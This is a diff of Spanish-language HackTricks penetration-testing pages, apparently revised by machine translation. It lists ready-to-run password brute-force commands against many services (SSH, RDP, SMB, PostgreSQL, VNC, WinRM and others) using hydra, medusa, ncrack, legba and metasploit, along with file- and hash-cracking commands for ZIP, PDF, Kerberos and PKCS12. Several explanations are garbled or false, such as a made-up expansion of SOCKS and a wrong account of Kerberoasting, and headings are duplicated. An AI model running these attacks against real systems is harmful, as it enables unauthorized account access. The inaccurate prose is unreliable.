patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -348,7 +339,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
|
|||
|
||||
#### Fuerza bruta
|
||||
|
||||
La técnica de fuerza bruta implica probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Puede ser efectiva pero es intensiva en recursos y puede llevar mucho tiempo. Se pueden utilizar herramientas como Hydra, Medusa o Ncrack para realizar ataques de fuerza bruta.
|
||||
La técnica de fuerza bruta implica probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Puede ser efectiva pero es muy lenta y puede resultar en bloqueos de cuentas debido a múltiples intentos fallidos.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -363,7 +354,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas al probar todas las combinaciones posibles de caracteres hasta encontrar la correcta. En el contexto de PostgreSQL, la fuerza bruta se puede utilizar para intentar acceder a una base de datos al probar diferentes combinaciones de nombres de usuario y contraseñas. Es importante implementar medidas de seguridad sólidas, como contraseñas fuertes y limitaciones en los intentos de inicio de sesión, para protegerse contra ataques de fuerza bruta.
|
||||
La fuerza bruta es un método comúnmente utilizado para descifrar contraseñas mediante la prueba de todas las combinaciones posibles de caracteres. En el contexto de PostgreSQL, la fuerza bruta se puede utilizar para intentar adivinar las credenciales de inicio de sesión de un usuario con el fin de obtener acceso no autorizado a la base de datos. Es importante implementar medidas de seguridad sólidas, como contraseñas fuertes y políticas de bloqueo de cuentas, para protegerse contra los ataques de fuerza bruta.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -387,8 +378,6 @@ hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
|||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||||
```
|
||||
### Redis
|
||||
|
||||
Redis es una base de datos en memoria de código abierto que se utiliza a menudo para almacenar datos en caché y sesiones de usuario. Al ser una base de datos en memoria, es comúnmente objetivo de ataques de fuerza bruta para intentar adivinar contraseñas débiles y obtener acceso no autorizado. Es importante asegurarse de que Redis esté configurado de manera segura, con contraseñas fuertes y accesos restringidos para prevenir posibles ataques de fuerza bruta.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -397,13 +386,13 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
|
|||
```
|
||||
### Rexec
|
||||
|
||||
Rexec is a simple tool that can be used to brute force usernames and passwords on systems that use the rexec service. It works by trying different combinations of usernames and passwords until it finds the correct one. This tool can be effective against weak or default credentials, but it may trigger account lockouts or alarms on the target system.
|
||||
### Rexec
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
|
||||
Rlogin es un protocolo de red que permite a un usuario iniciar sesión en otro host a través de una red. Es vulnerable a ataques de fuerza bruta debido a su falta de medidas de seguridad adecuadas. Los atacantes pueden intentar adivinar las credenciales de inicio de sesión probando diferentes combinaciones de nombres de usuario y contraseñas. Es importante implementar contramedidas como políticas de contraseñas fuertes y bloqueo de cuentas después de varios intentos fallidos para mitigar este tipo de ataques.
|
||||
Rlogin es un protocolo de red que permite a un usuario iniciar sesión en otro host a través de una red. Es vulnerable a ataques de fuerza bruta debido a su falta de medidas de seguridad, lo que permite a los atacantes intentar múltiples combinaciones de contraseñas para obtener acceso no autorizado.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
|
@ -411,12 +400,36 @@ hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
|||
|
||||
#### Brute Force
|
||||
|
||||
El ataque de fuerza bruta es un método común para obtener contraseñas. En el caso de Rsh, un atacante intentará adivinar la contraseña de un usuario probando diferentes combinaciones de contraseñas. Esto se puede hacer utilizando herramientas como Hydra o Medusa para automatizar el proceso de prueba de contraseñas. Es importante implementar medidas de seguridad, como el bloqueo de cuentas después de varios intentos fallidos, para protegerse contra este tipo de ataques.
|
||||
##### Description
|
||||
|
||||
Rsh is a remote shell program that allows users to execute commands on a remote system. Brute forcing Rsh involves attempting to guess the password by trying all possible combinations until the correct one is found.
|
||||
|
||||
##### Methodology
|
||||
|
||||
1. **Identify Rsh Service**: Use port scanning tools like Nmap to identify systems running the Rsh service.
|
||||
|
||||
2. **Brute Force Tool**: Utilize tools like Hydra or Medusa to perform brute force attacks against the Rsh service. These tools allow for the automation of password guessing by trying various combinations efficiently.
|
||||
|
||||
3. **Wordlist**: Prepare a wordlist containing possible passwords to use with the brute force tool. Wordlists can be obtained from various sources or generated based on common password patterns.
|
||||
|
||||
4. **Launch Brute Force Attack**: Execute the brute force tool with the identified Rsh service, specifying the wordlist to use for password guessing. Monitor the tool for progress and successful password identification.
|
||||
|
||||
5. **Post-Exploitation**: Once the password is identified, post-exploitation activities can be performed, such as gaining unauthorized access to the remote system.
|
||||
|
||||
##### Prevention
|
||||
|
||||
- **Disable Rsh**: If not required, disable the Rsh service on systems to prevent brute force attacks.
|
||||
|
||||
- **Strong Passwords**: Enforce the use of strong, complex passwords to make brute force attacks more difficult.
|
||||
|
||||
- **Network Segmentation**: Implement network segmentation to restrict access to critical systems and services, reducing the attack surface for brute force attempts.
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||
|
||||
### Rsync
|
||||
|
||||
### Rsync
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
|
@ -433,7 +446,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar
|
|||
```
|
||||
### SNMP
|
||||
|
||||
Simple Network Management Protocol (SNMP) is a protocol used for network management and monitoring. SNMP operates by sending messages called protocol data units (PDUs) to different parts of a network. These PDUs can be intercepted and manipulated by an attacker using brute force techniques to gain unauthorized access to network devices.
|
||||
El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo estándar de la industria para la administración de dispositivos de red.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
|
@ -442,7 +455,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
SMB (Server Message Block) es un protocolo de red utilizado para compartir recursos, como archivos e impresoras, entre nodos en una red. Es comúnmente utilizado en entornos Windows y puede ser objetivo de ataques de fuerza bruta para intentar obtener acceso no autorizado a recursos compartidos.
|
||||
### SMB
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
|
@ -458,7 +471,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS stands for **S**ocket **O**ver **C**omplete **K**its **S**ystem. It is a protocol that routes network packets between a client and a server through a proxy server. SOCKS operates at the transport layer (Layer 5 of the OSI model) and is used to bypass firewall restrictions and anonymize traffic. It is commonly used in scenarios where direct connections are not allowed, such as within corporate networks or when accessing the dark web.
|
||||
SOCKS (Socket Secure) es un protocolo de red que permite a un cliente detrás de un firewall obtener acceso a la red a través de un servidor proxy. El protocolo SOCKS opera en la capa 5 del modelo OSI (la capa de sesión), lo que le permite manejar diferentes tipos de solicitudes de red, incluidas las conexiones TCP y UDP. El uso de SOCKS es común en situaciones donde se necesita anonimato y en eludir restricciones geográficas en internet.
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||
|
@ -467,7 +480,9 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
|
|||
```
|
||||
### SQL Server
|
||||
|
||||
La técnica de fuerza bruta se puede utilizar para intentar adivinar credenciales de inicio de sesión en un servidor SQL. Esto se puede hacer utilizando herramientas como Hydra, Ncrack o incluso scripts personalizados. Es importante tener en cuenta que el uso de fuerza bruta contra un servidor SQL puede ser detectado y bloqueado por medidas de seguridad, como la limitación de intentos de inicio de sesión o el bloqueo de direcciones IP.
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important to use strong, complex passwords and implement account lockout policies to prevent successful brute force attacks.
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -478,7 +493,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
|
|||
```
|
||||
### SSH
|
||||
|
||||
SSH (Secure Shell) es un protocolo de red que permite a los usuarios acceder y administrar de forma segura sistemas remotos a través de una conexión encriptada.
|
||||
SSH (Secure Shell) es un protocolo de red que permite a los usuarios acceder y administrar de forma segura un servidor remoto. Se puede utilizar la técnica de fuerza bruta para intentar adivinar las credenciales de inicio de sesión de un servidor SSH.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -490,17 +505,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
|||
```
|
||||
#### Claves SSH débiles / PRNG predecible de Debian
|
||||
|
||||
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser sometido a fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pregenerados de claves débiles como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser descifrado mediante herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pregenerados de claves débiles también están disponibles, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ)
|
||||
|
||||
El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que **permite una comunicación e interacción fluidas con servicios populares de colas de mensajes** como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería.
|
||||
El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que **permite una comunicación e interacción fluidas con servicios populares de encolado de mensajes** como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
### Telnet
|
||||
|
||||
Telnet es un protocolo de red que permite la comunicación bidireccional a través de terminales virtuales. Se utiliza comúnmente en pruebas de penetración para intentar credenciales débiles mediante ataques de fuerza bruta.
|
||||
Telnet es un protocolo de red que permite a los usuarios comunicarse con un servidor remoto a través de la red. Se utiliza comúnmente en pruebas de penetración para intentar iniciar sesión en un sistema remoto mediante fuerza bruta.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -516,8 +531,6 @@ legba telnet \
|
|||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||||
```
|
||||
### VNC
|
||||
|
||||
Virtual Network Computing (VNC) es un sistema que te permite ver la interfaz gráfica y controlar de forma remota otra computadora. Se puede realizar un ataque de fuerza bruta contra un servidor VNC para intentar adivinar las credenciales de acceso.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -533,12 +546,10 @@ set RHOSTS <ip>
|
|||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```
|
||||
### Winrm
|
||||
|
||||
Winrm (Windows Remote Management) es un protocolo seguro basado en SOAP que permite la administración remota de máquinas Windows.
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
|
@ -562,7 +573,7 @@ Obtenga acceso hoy:
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Revise esto antes de intentar hacer fuerza bruta a un Hash.
|
||||
Revise esto antes de intentar hacer un ataque de fuerza bruta a un Hash.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -583,7 +594,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
|||
#### Ataque de fuerza bruta de texto plano conocido en archivos zip
|
||||
|
||||
Necesitas conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del zip encriptado. Puedes verificar **los nombres de archivo y el tamaño de los archivos contenidos dentro** de un zip encriptado ejecutando: **`7z l encrypted.zip`**\
|
||||
Descarga [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) desde la página de lanzamientos.
|
||||
Descarga [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) desde la página de versiones.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
@ -612,7 +623,7 @@ apt-get install libcompress-raw-lzma-perl
|
|||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es un método comúnmente utilizado en pruebas de penetración para descifrar contraseñas. Consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Puede ser una técnica efectiva, pero puede llevar mucho tiempo dependiendo de la complejidad de la contraseña y de la potencia de procesamiento disponible.
|
||||
La fuerza bruta es un método comúnmente utilizado en la piratería ética para probar contraseñas débiles. Consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. Este método puede ser efectivo, pero puede llevar mucho tiempo dependiendo de la complejidad de la contraseña y de la potencia de procesamiento de la máquina utilizada. Es importante tener en cuenta que la fuerza bruta puede ser detectada por sistemas de seguridad y puede resultar en bloqueos de cuentas o direcciones IP.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -653,7 +664,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
|||
```
|
||||
### Keberoasting
|
||||
|
||||
Keberoasting es una técnica utilizada para extraer contraseñas de servicios que utilizan el protocolo Kerberos como parte de su autenticación. El atacante extrae los hashes de contraseñas de los usuarios que utilizan el protocolo Kerberos y luego intenta crackearlos utilizando ataques de fuerza bruta u otras técnicas de cracking de contraseñas.
|
||||
Keberoasting es una técnica utilizada para extraer hashes de contraseñas de cuentas de servicio de Active Directory sin necesidad de autenticación.
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
|
@ -705,7 +716,7 @@ Utiliza [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.p
|
|||
Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerla:
|
||||
|
||||
* **Súbelo a Google Drive** y la contraseña se eliminará automáticamente
|
||||
* Para **eliminarla** **manualmente**:
|
||||
* Para **eliminarla** de forma **manual**:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
|
@ -721,10 +732,10 @@ zip -r file.xls .
|
|||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -828,53 +839,60 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
|||
```
|
||||
## Brute Forcing
|
||||
|
||||
### Dictionary Attack
|
||||
### Introduction
|
||||
|
||||
A dictionary attack involves using a list of common passwords to attempt to crack a password hash. This method is more efficient than a brute force attack as it only tries passwords that are likely to be used.
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the target hash. If the generated hash matches the target hash, the password has been successfully cracked.
|
||||
|
||||
### Brute Force Attack
|
||||
### Tools
|
||||
|
||||
A brute force attack involves trying every possible combination of characters until the correct password is found. This method is time-consuming and resource-intensive but is effective against complex passwords.
|
||||
There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for password cracking, making them versatile and powerful for cracking Linux hashes.
|
||||
|
||||
### Rainbow Tables
|
||||
### Methodology
|
||||
|
||||
Rainbow tables are precomputed tables used in password cracking to reverse hash functions and discover the original password. They can significantly speed up the cracking process by avoiding the need to compute hashes for each password guess.
|
||||
1. **Obtain the Hash**: Extract the target hash from the `/etc/shadow` file on the Linux system you are targeting.
|
||||
|
||||
2. **Choose a Tool**: Select a password cracking tool that supports the hashing algorithm used in the target hash.
|
||||
|
||||
3. **Generate Password List**: Create a list of potential passwords to be used for brute forcing. This list can be based on common passwords, dictionary words, or custom patterns.
|
||||
|
||||
4. **Start Brute Forcing**: Use the selected tool to systematically hash the passwords from your list and compare them with the target hash. If a match is found, the password has been cracked.
|
||||
|
||||
5. **Optimize**: Adjust the password list and cracking parameters based on the progress and results of the brute forcing process to increase efficiency.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack passwords and gain unauthorized access to a Linux system.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
## Brute Forcing Windows Hashes
|
||||
## Brute Force
|
||||
|
||||
### Introduction
|
||||
|
||||
When conducting a penetration test or security assessment, it is common to encounter password hashes stored on Windows systems. These hashes can be cracked using brute force techniques to recover the original passwords. In this section, we will discuss how to perform brute force attacks on Windows hashes.
|
||||
Brute force attacks are a common and effective way to crack Windows hashes. This method involves trying all possible combinations of characters until the correct password is found. Brute force attacks can be time-consuming but are often successful if the password is not strong enough.
|
||||
|
||||
### Tools and Methodologies
|
||||
### Tools
|
||||
|
||||
There are several tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools support various hash algorithms used by Windows, including NTLM and LM hashes.
|
||||
There are several tools available for conducting brute force attacks on Windows hashes. Some popular tools include:
|
||||
|
||||
The general methodology for brute forcing Windows hashes involves the following steps:
|
||||
- **John the Ripper**: A powerful password-cracking tool that can be used for brute force attacks on Windows hashes.
|
||||
- **Hashcat**: Another popular tool for cracking passwords, including Windows hashes.
|
||||
- **Hydra**: A fast and flexible password-cracking tool that supports brute force attacks on various protocols, including Windows authentication.
|
||||
|
||||
1. **Capture Hashes**: Obtain the password hashes from the Windows system either by dumping the SAM database or extracting them from memory.
|
||||
### Techniques
|
||||
|
||||
2. **Wordlist Attack**: Use a wordlist containing potential passwords to perform a dictionary attack. This method is effective if the password is weak or commonly used.
|
||||
When conducting a brute force attack on Windows hashes, it is important to consider the following techniques:
|
||||
|
||||
3. **Brute Force Attack**: If the password is complex or not found in the wordlist, a brute force attack can be used. This involves trying all possible password combinations until the correct one is found.
|
||||
- **Dictionary Attacks**: Using a list of commonly used passwords to speed up the brute force process.
|
||||
- **Mask Attacks**: Specifying a mask for the password format to reduce the number of possible combinations.
|
||||
- **Hybrid Attacks**: Combining dictionary and brute force attacks to increase the chances of success.
|
||||
|
||||
4. **Rule-based Attack**: Tools like Hashcat allow for rule-based attacks where various transformations are applied to the words in the wordlist to generate password variations.
|
||||
### Conclusion
|
||||
|
||||
### Best Practices
|
||||
|
||||
When performing brute force attacks on Windows hashes, it is important to consider the following best practices:
|
||||
|
||||
- **Use Strong Wordlists**: Utilize high-quality wordlists that include a wide range of potential passwords.
|
||||
- **Optimize Attack Parameters**: Adjust attack parameters such as the hash algorithm, attack mode, and performance settings for optimal results.
|
||||
- **Monitor System Performance**: Brute force attacks can be resource-intensive, so monitor system performance to avoid crashes or slowdowns.
|
||||
- **Legal Considerations**: Ensure that you have the necessary permissions to perform password cracking activities on Windows systems.
|
||||
|
||||
By following these best practices and using the right tools and methodologies, you can effectively crack Windows hashes during penetration testing engagements.
|
||||
Brute force attacks can be a powerful tool for cracking Windows hashes, especially when other methods have failed. By using the right tools and techniques, hackers can increase their chances of successfully recovering passwords from Windows systems.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
|
@ -883,23 +901,26 @@ By following these best practices and using the right tools and methodologies, y
|
|||
|
||||
### Introduction
|
||||
|
||||
Brute force attacks are a common method used to crack passwords and hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are often effective, especially against weak passwords.
|
||||
|
||||
### Tools
|
||||
|
||||
There are several tools available for conducting brute force attacks, such as Hydra, John the Ripper, and Hashcat. These tools can be customized to target specific types of passwords and hashes, making them versatile for different scenarios.
|
||||
Brute force attacks are a common method used to crack passwords by systematically trying all possible combinations until the correct one is found. This technique can also be applied to crack common application hashes.
|
||||
|
||||
### Methodology
|
||||
|
||||
1. **Password Lists**: Brute force attacks can be performed using predefined password lists that contain commonly used passwords. These lists can be combined with variations of words, numbers, and symbols to increase the chances of success.
|
||||
1. **Identify Hash Algorithm**: Determine the hash algorithm used by the application to hash passwords.
|
||||
|
||||
2. **Wordlist Generation**: Create a wordlist containing common passwords, dictionary words, and variations.
|
||||
|
||||
2. **Custom Wordlists**: Creating custom wordlists based on the target's information, such as their name, birthdate, or interests, can improve the effectiveness of a brute force attack. This personalized approach increases the likelihood of cracking the password or hash.
|
||||
3. **Hash Passwords**: Hash the passwords in the wordlist using the same algorithm as the application.
|
||||
|
||||
3. **Incremental Mode**: Some tools offer an incremental mode that systematically generates password combinations based on specified criteria, such as length or character set. This method can be useful for targeting specific password patterns.
|
||||
4. **Compare Hashes**: Compare the hashed passwords from the wordlist with the application's hashed passwords.
|
||||
|
||||
### Conclusion
|
||||
5. **Brute Force Attack**: Use a tool like Hashcat or John the Ripper to systematically brute force the passwords by trying each entry in the wordlist.
|
||||
|
||||
Brute force attacks are a powerful technique for cracking common application hashes and passwords. By utilizing the right tools and methodologies, hackers can increase their chances of success in gaining unauthorized access to systems and accounts.
|
||||
6. **Crack Password**: Once a match is found, the corresponding password in the wordlist is the cracked password.
|
||||
|
||||
### Resources
|
||||
|
||||
- Hashcat: [https://hashcat.net/](https://hashcat.net/)
|
||||
- John the Ripper: [https://www.openwall.com/john/](https://www.openwall.com/john/)
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -911,7 +932,7 @@ Brute force attacks are a powerful technique for cracking common application has
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
@ -923,10 +944,10 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,9 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,7 +27,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
|
|||
El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a:
|
||||
|
||||
